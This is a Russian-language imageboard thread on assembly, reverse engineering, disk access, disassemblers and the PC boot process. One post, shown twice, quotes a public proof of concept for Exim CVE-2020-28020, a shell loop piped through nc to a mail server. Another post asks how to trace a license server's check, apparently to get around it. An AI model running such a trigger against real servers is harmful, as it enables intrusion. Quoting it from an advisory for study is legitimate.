Пока что попробовал уже все что только можно. HEX редактором искал все возможные сигнатуры отсюдава и атсюдова:

https://habr.com/ru/company/infowatch/blog/337084/
https://en.wikipedia.org/wiki/List_of_file_signatures

В любом случае даже если в перспективе ничего не получится то положительные моменты есть. TIL что можно делать так (в linux):

> cat image.jpg archive.rar > output_archive.rar


или

> cat image.jpg archive.rar > output_image.jpg



и в этом случае output.rar и output.jpg соответсвенно, реально откроются и на винде и на linux. Неплохой такой способ сокрытия информации плюсом к стеганографии.

В винде попробовал аналог из PowerShell из говна и палок:

> get-content .\image.jpg,.\archive.rar | out-file output_archive.rar



ну и да, вы угадали, ни-ху-я не заработало, не открылось.
395 2328206
>>327420
>>327975
>>327976
https://technet24.ir/pwk-2020-22770
Вот тут еще у иранцев какой-то PEN-200 лежит, но нужен акк с подпиской для загрузки - лениво искать
396 2328209
>>327991
Если хочешь заморочиться, то достань сорцы unrar, посмотри на чтении какого поля он объебывается, забрутфорсь вненяемое значение, закомменть всякие проверки чексумм, чтобы хоть что-то да распаковалось.
397 2329321
>>327420
Окей, будучи пориджом ты можешь не знать про https://www.win-rar.com/split-files-archive.html
Но то, что гугля окончания part* и rar, ты не смог ничего нагуглить, это уже хуево
398 2329417
>>329321
Я все это гуглил и находил и знаю что такое part* архивы, не первый раз я их качаю, тупой ты еблан. И судя по тому что ты высрал, тупой пордиж здесь только ты, который попытался таким образом самоутвердиться видимо, но лишь обосрался. Иди нахуй.

Данную проблему это никак не решает. Архив есть битый.

Достаточно хотя бы даже на сигнатуры этих архивов посмотреть.
399 2329427
Исправный part* архив вполне открывается без каких либо ошибок сам по себе, даже если рядом остальных частей нет. Другое дело что не распаковывается, очевидно. А тут он просто битый.
400 2334774
Я вобще считаю что в 1 момент windows и многим другим существующим осям которые живут на обратной совместимости рано или поздно придётся взять и переписать всё с нуля.

То на чём мы сейчас сидим это NT ядро который было написано вроде в начале 90ых годов. С каждым годом, с каждой новой версией оно росло, там наверное щас уже точно десятки миллионов строк кода если не сотни.
Если вы запустите на соверменном пк win 98(только запустите в режиме одногоядерного процессора) или win 2000 то вы охуеете с того как быстро они работают и сравните их с 10кой или 7кой. Просто раньше на более старом железе они казались медлеными. На самом деле они быстрее всех этих 7ок, 8ок и десяток, потому что кода в них разы меньше. Быстрота 7ки или 10ки обсуловлена в первую очередь прогрессом железа.

Однако годам эдак к 2010-2012ом производители железа выжали уже всё что можно в техническом плане. Выше 5 гигарец ты процессор не разгонишь, больше ядер не впихнёшь уже все технолгии микро-впихивания, разгона достигли предела по своим физическим параметрам. Именно этим объяснеется почему что раньше компьютер устаревал за 3-5 лет безнадёжно, а щас можно и на ноутбуке 2011го года вполне себе современные оси запускать и вполне комфортно.

Ну пока ещё выкручиваются, начали выдрачивать частоту оперативки, придумали вместо hdd ssd, потом это ssd придумали по pci epress шине подключать через nvme контролер вместе sata ну типа щас они играют тупо на то чтобы всё что последовательным доступом сделать устройствами произвольного доступа, и всё по максимуму впихнуть на самые быстрые шины которые известны. Но уже революицонных прорывов кои были в нулевые не будет. Ну и конечно везде повысить частоту до максимально возможной(5ггц)

Так вот я это к чему? А к тому что если раньше засирание осей кодом перекрывалось ростом мощности железа каждые 2-3 года, то после 2012го это прекратилось. И прозиводители осей видят это и начали изъёбываться, например винда 10 очень медленно включается и выключается, она не выключается и не включатся в традиционном смысле, она использует режим гибернации, то есть выводит пользователя из системы и сохраняет своё состояние на жд. Если вы её выключите реально комнадой shutdown /s то вы охуеете от того какая она долгая при выключении и самое главное включении, это уровень xp на китайском ноутбуке 2004го года выпуска.

В один момент на фоне этого всего производителям осей придётся взять и выкинуть всё легаси говно из них а то и вовсе написать с нуля. Это неизбежно.

С процессорами тоже самое я думаю что x86 основанные архитектуры умрут пока кто-то тупо не возьмёт и не создаст с нуля архитектуру без всякой этой легаси хуйни потому что "люди не купят если обратной совместимост не будет"
400 2334774
Я вобще считаю что в 1 момент windows и многим другим существующим осям которые живут на обратной совместимости рано или поздно придётся взять и переписать всё с нуля.

То на чём мы сейчас сидим это NT ядро который было написано вроде в начале 90ых годов. С каждым годом, с каждой новой версией оно росло, там наверное щас уже точно десятки миллионов строк кода если не сотни.
Если вы запустите на соверменном пк win 98(только запустите в режиме одногоядерного процессора) или win 2000 то вы охуеете с того как быстро они работают и сравните их с 10кой или 7кой. Просто раньше на более старом железе они казались медлеными. На самом деле они быстрее всех этих 7ок, 8ок и десяток, потому что кода в них разы меньше. Быстрота 7ки или 10ки обсуловлена в первую очередь прогрессом железа.

Однако годам эдак к 2010-2012ом производители железа выжали уже всё что можно в техническом плане. Выше 5 гигарец ты процессор не разгонишь, больше ядер не впихнёшь уже все технолгии микро-впихивания, разгона достигли предела по своим физическим параметрам. Именно этим объяснеется почему что раньше компьютер устаревал за 3-5 лет безнадёжно, а щас можно и на ноутбуке 2011го года вполне себе современные оси запускать и вполне комфортно.

Ну пока ещё выкручиваются, начали выдрачивать частоту оперативки, придумали вместо hdd ssd, потом это ssd придумали по pci epress шине подключать через nvme контролер вместе sata ну типа щас они играют тупо на то чтобы всё что последовательным доступом сделать устройствами произвольного доступа, и всё по максимуму впихнуть на самые быстрые шины которые известны. Но уже революицонных прорывов кои были в нулевые не будет. Ну и конечно везде повысить частоту до максимально возможной(5ггц)

Так вот я это к чему? А к тому что если раньше засирание осей кодом перекрывалось ростом мощности железа каждые 2-3 года, то после 2012го это прекратилось. И прозиводители осей видят это и начали изъёбываться, например винда 10 очень медленно включается и выключается, она не выключается и не включатся в традиционном смысле, она использует режим гибернации, то есть выводит пользователя из системы и сохраняет своё состояние на жд. Если вы её выключите реально комнадой shutdown /s то вы охуеете от того какая она долгая при выключении и самое главное включении, это уровень xp на китайском ноутбуке 2004го года выпуска.

В один момент на фоне этого всего производителям осей придётся взять и выкинуть всё легаси говно из них а то и вовсе написать с нуля. Это неизбежно.

С процессорами тоже самое я думаю что x86 основанные архитектуры умрут пока кто-то тупо не возьмёт и не создаст с нуля архитектуру без всякой этой легаси хуйни потому что "люди не купят если обратной совместимост не будет"
401 2335368
А как обращаться программно к блокам\секторам\ячейкам\диска\ssd?

Ну типа вот в ассемблере я читал как обращаться по адресу в оператике, а к жёстком диске как это сделать? Ну бы утилиты всякие которые создают таблицы разделов, сами разделы, файловые системы там ведь явно что-то как-то реализовано. Помогите плиз.
402 2336030
>>334774
Старые версии винды быстрее работают не оттого, что кода в них меньше. Количество кода не очень важно - важно качество.
Microsoft сочла возможным пренебречь оптимальностью кода по принципу хуяк-хуяк и в продакшен.

Я диву даюсь с того, что под Windows 7, когда открываешь в Explorer каталог с кучей файлов, насколько долго соображает комп, прежде чем показать всё содержимое. Под Windows XP та же папка с теми же файлами открывается мгновенно.
403 2336037
>>334774
Процессоры никто с нуля архитектуры создавать не будет. Никому не надо. Уже существует в природе предостаточно крутых архитектур - бери и пользуйся. Вон, Apple взяла себе ARM архитектуру.
Единственно, изобретут какую-нибудь по-настоящему прорывную архитектуру будущего. Куда круче, чем все существующие. Вот это да, могут.
404 2336048
>>334774
Собственно ядро Windows не занимает миллионы строк кода. Сама Windows да - занимает. И она росла в объёме. Но не ядро, которое настолько не выросло. Количество кода вообще не очень важно. Если его много, код просто лежит себе на жестком диске, есть не просит. По мере необходимости, подгружается то одна его часть, то другая.

Всё дело в экономии на разработке и разработчиках. Урезают бюджеты, сроки, нанимают разрабов потупее и подешевле. Тех, кто остался - заставляют писать всякое дерьмо, да побыстрее.
Не нужны творцы - нужны кодомакаки.
405 2336049
>>335368
В реальном режиме процессора x86, вроде есть специальные прерывания, которые запускают соответствующие функции BIOS. Которые позволяют читать и записывать сектора диска.
406 2336120
>>335368
Если ты под виндой, то открывай как файл \\.\PhysicalDrive0 Если под *nix, то /dev/sda или что там у тебя. Ты его хоть заммапить можешь и продолжать обращаться по адресам в оперативке.
>>336030
Ну ты бы еще с MS-DOS сравнил, там в консольке dir ой как быстро выполнится. Я понимаю тренд хаять современное ПО, но люди упускают из виду, что сегодняшнее ПО делает всего на порядок больше, чем 20 лет назад. Начиная от сглаженного рендеринга шрифтов, заканчивая генерацией превьюшек на лету. И памяти жрется не в пример больше не только потому что криворукие уебаны, а потому что дешевизна памяти меняет баланс сил: куда лучше, условно, за O(nlogn) времени+памяти сделать препроцессинг и затем за O(logn) выдать ответ, чем считать за O(n^2) но зато с O(1) памяти.
407 2336175
>>336120
>>336049
Спасибо понял. Я уже прочитал это secondary storage и обращение к нему идёт как к прочим устройствам либо через оперативку либо через I\O каналы
sage 408 2336455
Подскажите как обстоит дело с асм на линуксе. Проще поставить чем на винде? На работе заставили полностью пересесть на линукс, я придрочился, но иногда бывает скучно ковырять бд и питон.
409 2337749
Кто-нибудь пробовал в corewars?
410 2337760
>>336455
Знаю что в GCC есть ассемблер, мнемоники там с AT&T синтаксисом, больше ничего не знаю.
https://ru.wikipedia.org/wiki/GNU_Assembler
411 2337767
>>337760
Если для себя, то можно поставить православный fasm - он ровно такой же, как и на винде. Но если контрибутить в опенсорс, то везде будет инопланетный AT&T, увы.
412 2337784
>>337767
на fasmg сделайте для себя как Вы хотите
413 2337809
>>337784

> fasmg


Неплохо, не знал, что fasm продолжает развиваться. Я помню еще в первой версии у него довольно охуенный макроязык был по сравнению с masm/tasm, мне удавалось crc32 строк в compile time считать.
>>337749
Да. Лет 15 так назад.
414 2338378
>>315191
da
google:// efi runtime services
415 2341284
Здоров анончанн, интересует такой вопрос. Где почитать про реализации first class functions. Не сохранишь же их в стак, как обычный аргумент.
416 2341354
>>341284
В сорцах любого компилятора. Возьми какую-нибудь игрушечную реализацию Scheme и смотри как она проход за проходом трансформируется в байткод. Или смотри как в C++ лямбды реализованы. Тащемта там ничего интересного нет: это обычное замыкание, которое тащит в себе контекст (похуй статический на захардкоженной структуре или динамический на хеш-мапе) и адрес функции (опять-таки похуй захардкоженный или в виртуальной таблице методов). Вот указатель на него в стек/регистр и кладется, а там уже caller знает как его вызывать. Другими словами, это все абстракция, процессору поебать на все эти first class хуйни, у него из first class регистры да память.
417 2341358
>>341284
книгу "crafting interpreters" рекомендую
418 2343886
Тред не читал, но на каком языке лучше писать свой дизассемблер?
419 2344032
>>343886
На языке, который ты знаешь
420 2344075
>>344032
Чтобы написать дизассемблер, надо знать ассемблер.
421 2344208
>>344032
Меня разрывает между пайтоном, плюсами и хачкелем. Сложно
Была даже тупая мысль сделать дизасм на асме
422 2344213
>>344208
Тут чем проще, тем лучше. Бери питон.
423 2344218
>>241525 (OP)
Асмоебы асмодеи, вопрос не к вам, но если вам хватило ума разобраться в этом вашем псевдоязыке, может что-то посоветуете. Есть сервер лицензий и лицензия для него в текстовике. Сервер как-то проверяет лицензию и при смене в ней хотя бы одной буквы, шлет строго нахуй. Как и чем можно отловить сам процесс проверки, если эта ебанина крутится поверх линукса? Помню со времен сосничества про IDA Pro и ArtMoney.
424 2344226
>>344213
Рандомом выпал питон, тут советуют питон. Эх
Ну ладно
425 2345357
>>241525 (OP)
Сап, аноны. Есть проблема по УМПК-80, задание было такое: в регистре E введено число. Сосчитайте (1+2+3+...+Е):2, используя сдвиг вправо RRC (как известно, сдвиг вправо на 1 позицию равносилен делению на 2).

Никак не могу понять, что именно нужно делать.
Без названия.jpg11 Кб, 285x177
426 2345946
427 2347106
>>344226
Назрел вопрос поинтереснее — откуда в эльфах столько лишних неопределяемых секций? И как из них нормально вытащить инструкции, с учётом того, что для mov есть что-то с два десятка разных опкодов?
Да, мне лень читать спеки по эльфам, хочу чтобы человеческим языком объяснили
428 2347112
>>347106

>с учётом


Не понял. Как ты это учитывать собрался?
В Ельфах не разбираюсь.
429 2347140
>>347112
Как-то придётся. Потому что в x86 для мова действительно есть около двадцати опкодов, и я в упор не понимаю, чем они нахуй отличаются и зачем их столько надо
430 2347200
подскажите почему не собирается программка в 32-х битной ос trisquel? Собираю nasm-ом и fasm-ом. В 64-х битной убунте собирается норм.
use16
org 0x7c00
start:
mov ax,0xAA99
jmp $
finish:
times 510+start-finish db 0
db 0x55,0xaa
431 2347454
>>347106

> откуда в эльфах столько лишних неопределяемых секций


Што? Тебя на первых порах должна интересовать исключительно .text

> И как из них нормально вытащить инструкции


Парсишь файл http://www.skyfree.org/linux/references/ELF_Format.pdf, вытаскиваешь инструкции, дизассемблируешь по табличке.

> с учётом того, что для mov есть что-то с два десятка разных опкодов


Причем тут это вообще? Да хоть пятьдесят. Бери второй том Intel 64 and IA-32 Architectures Developer's Manual, находишь табличку где инструкции сопоставляются с байтами и меняешь строки с столбцами местами. Нахуй ты вообще за x86 взялся? Там же ни души, ни удовольствия. Пиши лучше дизассемблер к игрушкам под NES.
432 2347489
>>347454
Так это курсач, вот и взялся
Я вытащил таблицу опкодов с какого-то всратого сайта в xml формате, и пытаюсь понять, как по человечески его распарсить. Ну и заодно как не затрахаться с тем, что есть префиксы, хуефиксы, лишние байты которые могут быть/не быть в инструкции
433 2347515
>>347106

>И как из них нормально вытащить инструкции


Берёшь такой и без всяких сомнений побайтово декодируешь. В чём твоя проблема?

>в x86 для мова действительно есть около двадцати опкодов, и я в упор не понимаю, чем они нахуй отличаются и зачем их столько надо


Да как тебе это поможет, выделить секции-то?
image.png112 Кб, 999x578
434 2347526
>>347515
Моя проблема вот в этом
435 2347528
>>347526
Ну и что дальше? Проблема где? Из тебя клещами тащить надо?
436 2347540
>>347528
В переменной длине клятых инструкций и неадекватном количестве разных версий одной и той же инструкции. Как мне учитывать такое количество разных операнд, все префиксы и лишние байты в середине инструкции, которые могут появиться потому что могут?
437 2347547
>>347540

>Как...


Это чудесное средство называется ветвление.
438 2347552
>>347547

>ветвление


Спасибо нахуй
А вообще — мне бы сначала таблицу опкодов распарсить на клятом питоне
CVE-2020-28020 439 2347926
https://www.qualys.com/2021/05/04/21nails/21nails.txt
CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92)

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
perl -e 'print "a" x 16384';
printf '\r\nvery_long_header:';
for ((i=0; i<64; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\n" x 16777216';
done
) | nc -n -v 192.168.56.103 25

Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------


Сап, асмачь, скидди на связи!
Подскажи плиз, может что-то не понимаю, но где здесь unauthenticated? Какой почтовый сервак нынче разрешит RCPT TO без предварительной авторизации?
CVE-2020-28020 439 2347926
https://www.qualys.com/2021/05/04/21nails/21nails.txt
CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92)

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
perl -e 'print "a" x 16384';
printf '\r\nvery_long_header:';
for ((i=0; i<64; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\n" x 16777216';
done
) | nc -n -v 192.168.56.103 25

Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------


Сап, асмачь, скидди на связи!
Подскажи плиз, может что-то не понимаю, но где здесь unauthenticated? Какой почтовый сервак нынче разрешит RCPT TO без предварительной авторизации?
440 2348623
>>347926

> скидди на связи


Рака яиц тебе, уебище.

> разрешит RCPT TO без предварительной авторизации


Смысле не в том, что он разрешит, а в том, что наебнется при попытке распарсить запрос. И да, ты тредом ошибся.
441 2348660
>>348623
Ты какой-то злой, няш..
>наебнется при попытке распарсить запрос
Отбив уже на этапе RCPT TO просто не даст ничего пихнуть в DATA.
А вообще забей, это сугубо особенность настройки экзима - всякие RFC советуют postmaster-у не выеживаться и принимать любые сообщения без проверок, но каждый админ локалхоста вправе составить свой особый ACL с пасьянсом и блудницами (хоть с проверкой EHLO, чтоб PTR твоего айпишника корректно резолвилась в указанное имя)
1234567890.png404 Кб, 1280x677
442 2351975
Аноны, как в visual studio 2022 увидеть дизасемблированный код как на пике, в моей версии такого нема(
443 2351979
>>351975
У тебя Ultimate?
444 2352043
>>351979
Visual Studio Community
445 2352047
>>351979
>>352043
там нету, да?
446 2352369
А что означает когда в IDA дизасемблируешь или смотришь псевдо-код на C и встречаются символы вроде dword_10192CDC (число всегда разное)? Если щелкнуть по нему или нажать alt-enter, то показывает строчку

>data:10192CDC dword_10192CDC dd ?


Ну и можно посмотреть, в каких процедурах есть ссылки на эту (переменную, указатель? Или что это?)
Моя версия, что это указатель на предопределенное значение, которое содержится внутри бинарника в разделе данных и загружается в память по этому адресу. Но хотелось бы узнать точно и как понять, что там?
инб4: дурак куда ты лезешь
447 2352661
>>352369

> А что означает когда в IDA дизасемблируешь или смотришь псевдо-код на C и встречаются символы вроде dword_10192CDC


Братан, ты не поверишь, но это двойное слово со значением 0x10192CDC из секции данных.
448 2352679
>>351979
попробовал установить visual studio enterprise 2022 - там тоже нету, ЧЯДНТ?
449 2352688
>>352679
таки смог решить свою проблему:
https://m-i-kuznetsov.livejournal.com/152857.html
450 2356335
Аноны, как работает многозадачность в современных ОС, в особенности на Винде? Я так понимаю, там в ядре планировщик переключает выполнение системных потоков через некоторые промежутки времени. А возможно ли как-то гарантировать что кусок машинного кода будет выполнен без остановки? Реально ли посмотреть по циклам ЦП когда случился останов, сразу после пробуждения потока запустить нужный код и успеть до переключения на другую задачу? Судя по диспетчеру задач у меня сейчас 3000 потов запущено, там же должно быть окно хотя бы в микросекунду непрерывного выполнения кода? Может через виртуализацию возможно как-то стабилизировать это?
451 2356939
>>356335
Начнём с того, что у нас сейчас многоядерные системы, обеспечивающие истинную многопоточность, так что дели количество одновременных потоков на количество логических ядер
Время, которое даётся процессу на исполнение до переключения, зависит от его приоритета, который можно выставить самому
Может и не совсем так, я вообще всего второй курс
452 2356946
>>356939
Ну это как раз относительно понятно. Меня интересует практическая возможность определения окна непрерывного выполнения и пропихивания в него кода. Плавает ли это окно или достаточно стабильное. Поможет ли реалтайм приоритет стабилизировать его. Останавливает ли ядро потоки раньше времени для своих задач.
453 2357238
>>356946

> Меня интересует практическая возможность определения окна непрерывного выполнения и пропихивания в него кода


Ты можешь из кернел спейса "запретить" прерывания. А по-другому вряд ли получится. Хотя возможно есть какие-нибудь прикольные флаг ядра линукса, с которыми можно собрать, чтобы поведение шедулера предсказуемым и отслеживаемым. Какая-нибудь дебаг сборка. Хотя сейчас буквально в современных процессорах встроена многопоточность с подархитектурами, то есть даже выполнение одной машинной инструкции может быть неатомарным. Хз можно ли это на уровне ядра ос заигнорировать.

Заниматься тулингом прерываний наверное действительно только с виртуализацией возможно.
Ты бы лучше написал в чем в принципе задача состоит, а не ходил вокруг да около
sage 454 2357452
>>357238

>в современных процессорах встроена многопоточность с подархитектурами


Кстати, а как планировщик детектирует переключение контекста гипертрединговых потоков одного ядра? Прерывание, ведь, не возбуждается. Может, как-то постфактум?
sage 455 2357545
>>357452
Т.К. прерывается всё ядро (т.е. все гипертреды ядра), думаю, кванты выдаются сдвоенными и переключения контекстов тоже делается сразу для обоих гипертредов. А планируется квант в предположении, что потребляться он будет поровну обоими гиперпотоками, видимо. Значит и все остальные механизмы планирования работают на таких сдвоенных потоках (приоритеты...). Я так думаю.
456 2357549
>>356946

>возможность определения окна непрерывного выполнения и пропихивания в него кода



Думаю в Винде это невозможно, т.к. там вытесняющая многозадачность без каких-либо временнЫх гарантий для приложений.
457 2357602
>>357452
Хз. Выяснять лень, хотя наверняка куча материала по этому есть
458 2357664
>>357545

>прерывается всё ядро


Но у каждого гипертреда свой LAPIC. Поэтому планируются (почти) так-же как и обычные процессы.
459 2358199
Как вкатиться в реверс инжиниринг? Начинать со всяких коммодоров и амиг?
460 2358360
>>358199
Начни с читов для игр. Бери чит энджин, гидру и ебаш. Потом начинай патчи писать через инжект длл с новыми фичами/багфиксами. А потом уже сам придумаешь.
461 2358499
Что находится в самых первых адресах озу? Прошивка компьютера?
462 2360622
>>358499
Прошивка не может быть в озу. По определению.
463 2361284
Аноны, можно ли в гидре как-то подгрузить символы системного SDK? Всякие WinAPI и DirectX. Примерно как IDA это делает. Я пробовал дрочиться с парсером хедеров - нихуя не меняется после скармливания ему половины папки SDK винды, ещё и ошибками сыпет во время парсинга. Онлайн базы символов вообще как будто не работают. Хули так сложно? Куда что ему всунуть?
464 2361549
>>358499
Есть виртуальные адреса если есть MMU, а есть физические. По виртуальным все, что угодно может быть, но обычно доступ к самым первым адресам приводит к ошибке - это сделано намеренно, чтобы было проще отлавливать баги (вроде разыменования нулевого указателя). По физическим зависит от платформы: на хуй86 туда обычно BIOS складывает свое говно, вроде векторов прерываний, а у какого-нибудь 6502 в NES первые 256 байт используются для локальных переменных, т.к. у него по сути всего два с половиной регистра. Читай https://en.wikipedia.org/wiki/Zero_page короче.
465 2362207
>>358499
Первые адреса ОЗУ. Процессор не имеет дело с никакими "адресами ОЗУ".
Он имеет дело с т.н. адресным пространством памяти. На самом деле, это некая абстракция,
а не прям таки сплошь одно ОЗУ. Если мы говорим про физические адреса.
Железо материнской платы подключает по некоторому диапазону этих адресов оперативную память. Но впридачу, там в некоторых диапазонах может быть много что ещё подключено.
Например - обмен информацией с девайсами тоже может идти через это адресное пространство.
Вот да, информация ПЗУ тоже спроецирована на некоторый диапазон этого пространства.

Хрен его знает - что там в самых младших адресах физического адресного пространства памяти. В реальном режиме x86 - там вектора прерываний лежат.
466 2362350
>>360622
я имею в виду когда комп стартует он же прошивку загружает наверное в озу?

>>361549
спасибо я так и думал что скорее всего в самом начале ссылки на процедуры биоса находятся

>>362207
спасибо понял. ну то есть адресное пространство это нечот более широкое чем лишь оперативная память. так выходит что мироксхема с прошивкой тоже свои адреса адреса по которым процик к ней обращается?
467 2362910
>>362350

>это нечот более широкое чем лишь оперативная память



Да, эта штука - более широкая. Она используется далеко не только для хранения информации в ОЗУ.
Вот например, некоторые устройства имеют диапазон адресов памяти. И если ты записываешь информацию по какому-то адресу из этого диапазона - она отправляется прямо на устройство.
А если считываешь информацию - устройство тебе подгоняет данные.
Всё это обеспечивается работой чипсета материнской платы. Этот же чипсет - подключает информацию из ПЗУ в какой-то диапазон физических адресов.

Это физические адреса. А виртуальные адреса (виртуальное адресное пространство) - там средствами ОС, может быть спроецирован файл с диска, или ещё откуда-то на некоторый диапазон адресов. И чтение или запись по этим адресам приводит к чтению или записи в этот файл. Прямо в нужный его участок.

Даже хлеще - у тебя же работает виртуальная память, а значит та же ОС может не хранить непосредственно информацию из того или иного диапазона виртуальных адресов в физической памяти.
Она организует подкачку информации с диска.

Смотри так называемый Memory-mapped I/O

Ещё есть такая вещь, как Direct Memory Access, DMA.
Позволяет перекачивать информацию между устройствами и памятью без участия процессора.

Ещё можешь изучить карту памяти UMA.
Там увидишь, что есть диапазоны под ОЗУ, под ПЗУ, под обмен данными с устройствами
468 2362986
>>362910
Спасибо большое анон, годное расписываешь. Теперь и отчасти назначение южных и северных мостов стало понятным.

Да я щас книгу читаю десятая глава уже Assembly Language Step-By-Step - Programming with Linux, 3rd edition (Wiley, 2009, 0470497025)

Пока до этого не дошёл. Только про модели работы с памятью(озу) сегментированые, защищённые читал. А вот про все устройства глобально пока нет. Надеюсь там это будет написано
469 2362990
>>362910
А я всегда думал что вот когда ты включаешь пекарню и заходишь в меню прошивки то она наверное в озушечку загружается а щас понимаю что она загружается из пзу и все обращения происходят к пзу непосрсдественно, а не в озу. в пзу разве что ссылки на какие-то процедуры лежащие на прошивки для оси лежат.
470 2363352
>>362990
Когда включаешь пекарню, включается чипсет, который обеспечивает проецирование ПЗУ в адресное пространство памяти процессора по известным адресам. Как впрочем, и подключает ОЗУ.

После этого, чипсет даёт отмашку центральному процессору на запуск. Тот начинает работу в реальном режиме с команды, расположенной на определённом известном адресе. Этот адрес намертво зашит в процессор, и никак не меняется никогда. По счастливому совпадению, по этому адресу чипсет спроецировал ПЗУ. Т.е. процессор исполнит команду, прошитую в ПЗУ. Получается, разработчик материнки может прошить ПЗУ по своему усмотрению, и процессор выполнит нужный код. Этот код занимается инициализацией оборудования.
Всё зависит от того, что именно разработчики материнки зашили в ПЗУ. Эти вещи, между прочим, никто не афиширует. Темна вода в облацеях. Чтобы понять, что там творится - это надо дизассемблировать прошивку, долго муторно её изучать. Кто этим занимается? Вряд ли наберётся много людей во всём мире.
Насколько знаю, часто код прошивки ПЗУ сам себя копирует в оперативную память. И продолжает исполнение оттуда. Просто потому, что так он работает шустрее. Но поначалу - да. Исполняется код прямо из ПЗУ.

Далее, в старые времена, происходил процесс запуска BIOS, который заканчивался переходом к загрузке операционной системы. С загрузочного диска считывался в ОЗУ самый начальный сектор, размещался по определённому адресу. И исполнение передавалось туда.
Т.е. всё дальше зависело от операционки.

Нынче, во времена UEFI, я не знаю как всё происходит. UEFI я ещё не изучал.

Я вам ещё скажу. Не знаю насчёт IBM PC, но в других компьютерах бывает, что процессор прямо в себе содержит ПЗУ, которое заложили его создатели. Оно совершенно секретное. После включения, процессор выполняет код, заложенный в этом ПЗУ. При этом, он даже не использует оперативную память компьютера! Вместо оперативной памяти, он использует собственную кэш-память, которая встроена прямо в процессор. Т.е. информация вообще никак этот процессор не покидает. Что там делает процессор - одному богу известно.
В принципе, возможно обновить прошивку ПЗУ, размещённую в процессоре. Однако, процессор эту прошивку обязательно проверяет на вшивость (с помощью цифровой подписи). И левую прошивку отторгает. Это означает, что только производитель процессора может выпустить прошивку для него.
Что можно добиться такими средствами? Насколько знаю, так в игровых консолях XBox можно проверять - подлинные ли DVD диски, с которых вы играете, или пиратские. Вроде, XBox ещё никто не взломал, не зачипировал.
Можно ещё применять всё это для того, чтобы шпионить за юзером. Какого-нибудь шпионского ПО. Для программных и аппаратных закладок.

Можно сделать так. В процессоре есть небольшой код, который проверяет установленную операционную систему на вшивость. Допустима ли она на этом компьютере? Не была ли она как-то модифицирована или взломана?
Там проверяется не вся ОС, а лишь та её небольшая часть, куда будет передаваться исполнение. Загрузчик ОС.
А уже сам загрузчик, если он правильный, дальше может проверить всё остальное.
470 2363352
>>362990
Когда включаешь пекарню, включается чипсет, который обеспечивает проецирование ПЗУ в адресное пространство памяти процессора по известным адресам. Как впрочем, и подключает ОЗУ.

После этого, чипсет даёт отмашку центральному процессору на запуск. Тот начинает работу в реальном режиме с команды, расположенной на определённом известном адресе. Этот адрес намертво зашит в процессор, и никак не меняется никогда. По счастливому совпадению, по этому адресу чипсет спроецировал ПЗУ. Т.е. процессор исполнит команду, прошитую в ПЗУ. Получается, разработчик материнки может прошить ПЗУ по своему усмотрению, и процессор выполнит нужный код. Этот код занимается инициализацией оборудования.
Всё зависит от того, что именно разработчики материнки зашили в ПЗУ. Эти вещи, между прочим, никто не афиширует. Темна вода в облацеях. Чтобы понять, что там творится - это надо дизассемблировать прошивку, долго муторно её изучать. Кто этим занимается? Вряд ли наберётся много людей во всём мире.
Насколько знаю, часто код прошивки ПЗУ сам себя копирует в оперативную память. И продолжает исполнение оттуда. Просто потому, что так он работает шустрее. Но поначалу - да. Исполняется код прямо из ПЗУ.

Далее, в старые времена, происходил процесс запуска BIOS, который заканчивался переходом к загрузке операционной системы. С загрузочного диска считывался в ОЗУ самый начальный сектор, размещался по определённому адресу. И исполнение передавалось туда.
Т.е. всё дальше зависело от операционки.

Нынче, во времена UEFI, я не знаю как всё происходит. UEFI я ещё не изучал.

Я вам ещё скажу. Не знаю насчёт IBM PC, но в других компьютерах бывает, что процессор прямо в себе содержит ПЗУ, которое заложили его создатели. Оно совершенно секретное. После включения, процессор выполняет код, заложенный в этом ПЗУ. При этом, он даже не использует оперативную память компьютера! Вместо оперативной памяти, он использует собственную кэш-память, которая встроена прямо в процессор. Т.е. информация вообще никак этот процессор не покидает. Что там делает процессор - одному богу известно.
В принципе, возможно обновить прошивку ПЗУ, размещённую в процессоре. Однако, процессор эту прошивку обязательно проверяет на вшивость (с помощью цифровой подписи). И левую прошивку отторгает. Это означает, что только производитель процессора может выпустить прошивку для него.
Что можно добиться такими средствами? Насколько знаю, так в игровых консолях XBox можно проверять - подлинные ли DVD диски, с которых вы играете, или пиратские. Вроде, XBox ещё никто не взломал, не зачипировал.
Можно ещё применять всё это для того, чтобы шпионить за юзером. Какого-нибудь шпионского ПО. Для программных и аппаратных закладок.

Можно сделать так. В процессоре есть небольшой код, который проверяет установленную операционную систему на вшивость. Допустима ли она на этом компьютере? Не была ли она как-то модифицирована или взломана?
Там проверяется не вся ОС, а лишь та её небольшая часть, куда будет передаваться исполнение. Загрузчик ОС.
А уже сам загрузчик, если он правильный, дальше может проверить всё остальное.
471 2363363
>>363352
Спасибо, анон, очень годно. А по каким книгам ты это изучаешь? Откуда знания получил?
472 2363385
>>363363
Это называется многолетний опыт специалиста. Такое узнаешь не из какой-то одной книги.
Это надо годами интересоваться предметом, читать массу книг, статей, интернет. Отовсюду.
По идее, именно такие люди должны читать студентам лекции в университете. Проблема в том, что годные специалисты хотят больших денег за свои знания. Увы, наши ВУЗы не всегда могут такое позволить себе. Так что нанимают кретинов за копейки - чтобы хоть кто-то был, и что-то читал.
Ищите видеолекции на youtube, там встречаются годные персонажи.

Про ассемблер есть книга за авторством Зубкова. Выпущена году в 2000. Хорошая вещь.
473 2363387
>>363385
спасибо большое анон. а кем ты работаешь?
474 2363516
>>363352
Спасибо, анон ещё раз. Теперь многое на места встало после твоих постов. Выходит что это от чипсета зависит в основном с какими процессорами и памятью материнская плата может работать корректно
475 2363521
>>363516
